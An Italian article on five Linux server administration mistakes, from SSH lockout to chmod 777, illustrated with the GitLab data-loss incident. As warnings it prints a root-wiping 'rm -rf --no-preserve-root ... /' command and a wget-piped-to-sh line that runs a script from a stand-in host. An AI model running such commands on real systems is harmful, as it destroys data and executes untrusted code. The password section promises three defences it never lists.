Comandi Linux

Cinque errori di amministrazione del server Linux e come evitarli

Cinque errori di amministrazione del server Linux e come evitarli
Nel 2017, a un dipendente di GitLab, la piattaforma di hosting per il controllo della versione, è stato chiesto di replicare un database di dati di produzione. A causa di un errore di configurazione, la replica non ha funzionato come previsto, quindi il dipendente ha deciso di rimuovere i dati che erano stati trasferiti e riprovare. Ha eseguito un comando per eliminare i dati indesiderati, solo per rendersi conto con crescente orrore di aver inserito il comando in una sessione SSH collegata a un server di produzione, eliminando centinaia di gigabyte di dati utente. Ogni amministratore di sistema esperto può raccontarti una storia simile.

La riga di comando di Linux offre agli amministratori dei server il controllo dei propri server e dei dati memorizzati su di essi, ma fa poco per impedire loro di eseguire comandi distruttivi con conseguenze che non possono essere annullate. La cancellazione accidentale dei dati è solo un tipo di errore che commettono i nuovi amministratori di server.

Chiusura delle chiavi all'interno

Gli amministratori dei server si connettono ai server con SSH, un servizio che di solito viene eseguito sulla porta 22, fornendo una shell di accesso attraverso la quale gli utenti autenticati possono eseguire comandi su server remoti. Un passaggio standard di rafforzamento della sicurezza consiste nel configurare SSH per accettare connessioni su una porta diversa. Spostare SSH su una porta casuale con un numero elevato limita l'impatto degli attacchi di forza bruta; gli hacker non possono tentare accessi dannosi quando non riescono a trovare la porta su cui è in ascolto SSH.

Tuttavia, un amministratore che configura SSH per l'ascolto su una porta diversa e quindi riavvia il server SSH potrebbe scoprire che non sono solo gli hacker a essere bloccati. Se anche il firewall del server non viene riconfigurato per consentire le connessioni sulla nuova porta, i tentativi di connessione non raggiungeranno mai il server SSH. L'amministratore verrà bloccato fuori dal proprio server senza alcun modo per risolvere il problema se non per aprire un ticket di supporto con il proprio provider di hosting. Se cambi la porta SSH, assicurati di aprire la nuova porta nella configurazione del firewall del tuo server.

Scegliere una password facilmente indovinabile

Gli attacchi di forza bruta sono un gioco di ipotesi. L'attaccante prova molti nomi utente e password finché non trova una combinazione che gli consente di entrare. Un attacco con dizionario è un approccio più raffinato che utilizza elenchi di password, spesso selezionati da database di password trapelati. Gli attacchi contro l'account root sono più facili che contro altri account perché l'attaccante conosce già il nome utente. Se un account root ha una password semplice, può essere violato in un batter d'occhio.

Esistono tre modi per difendersi dagli attacchi di forza bruta e dizionario contro l'account root.

Copiare comandi che non capisci

Stack Exchange, Server Fault e siti simili sono un'ancora di salvezza per i nuovi amministratori di sistema Linux, ma dovresti evitare la tentazione di copiare e incollare un comando shell che non capisci. Qual è la differenza tra questi due comandi?

sudo rm -rf --no-preserve-root /mnt/mydrive/
sudo rm -rf --no-preserve-root /mnt/mydrive /

È facile vedere quando vengono visualizzati insieme, ma non è così facile quando cerchi nei forum alla ricerca di un comando per eliminare il contenuto di un volume montato. Il primo comando elimina tutti i file sull'unità montata. Il secondo comando elimina quei file e tutto sul filesystem radice del server. L'unica differenza è lo spazio prima della barra finale.

Gli amministratori del server possono imbattersi in lunghi comandi con pipeline che si dice facciano una cosa ma ne facciano tutt'altra. Prestare particolare attenzione ai comandi che scaricano codice da Internet.

wget http://esempio.com/verybadscript -O - | sh -

Questo comando usa wget per scaricare uno script che viene reindirizzato alla shell ed eseguito. Per eseguirlo in sicurezza, devi capire cosa fa il comando e anche cosa fa lo script scaricato, incluso qualsiasi codice che lo script scaricato può scaricare esso stesso.

Accesso come root

Mentre gli utenti ordinari possono modificare solo i file nella loro cartella home, c'è poco che l'utente root non possa fare su un server Linux. Può eseguire qualsiasi software, leggere qualsiasi dato ed eliminare qualsiasi file.

Le applicazioni eseguite dall'utente root hanno un potere simile. È comodo essere loggato come utente root perché non devi "sudo" o "su" tutto il tempo, ma è pericoloso. Un errore di battitura potrebbe distruggere il tuo server in pochi secondi. Il software difettoso eseguito dall'utente root potrebbe creare una catastrofe. Per le operazioni quotidiane, accedi come utente normale ed eleva i privilegi di root solo quando necessario.

Non apprende i permessi del filesystemsystem

I permessi del filesystem possono essere fonte di confusione e frustrazione per i nuovi utenti Linux. Una stringa di autorizzazione come "drwxr-xr-x" all'inizio sembra priva di significato e le autorizzazioni possono impedirti di modificare i file e impedire al software di fare ciò che vuoi che faccia.

Gli amministratori di sistema imparano rapidamente che chmod 777 è un incantesimo magico che risolve la maggior parte di questi problemi, ma è una pessima idea. Consente a chiunque abbia un account di leggere, scrivere ed eseguire il file. Se esegui quel comando nella directory di un server web, stai chiedendo di essere hackerato. I permessi dei file di Linux sembrano complicati, ma se impieghi qualche minuto per imparare come funzionano, scoprirai un sistema logico e flessibile per controllare l'accesso ai file.

In un'epoca che valorizza le semplici esperienze utente su tutti gli altri fattori, la riga di comando di Linux rimane decisamente complessa e resistente alla semplificazione. Non puoi cavartela e sperare che andrà tutto bene. Non andrà bene e ti ritroverai con un disastro tra le mani.

Ma se impari le basi - permessi dei file, strumenti da riga di comando e relative opzioni, best practice di sicurezza - puoi diventare un maestro di una delle piattaforme di elaborazione più potenti mai create.

Come mostrare l'overlay OSD in app e giochi Linux a schermo intero
Giocare a giochi a schermo intero o utilizzare app in modalità a schermo intero senza distrazioni può tagliarti fuori dalle informazioni di sistema ri...
Le 5 migliori carte di acquisizione del gioco
Abbiamo tutti visto e amato i giochi in streaming su YouTube. PewDiePie, Jakesepticye e Markiplier sono solo alcuni dei migliori giocatori che hanno g...
Come sviluppare un gioco su Linux
Un decennio fa, non molti utenti Linux avrebbero previsto che il loro sistema operativo preferito un giorno sarebbe diventato una piattaforma di gioco...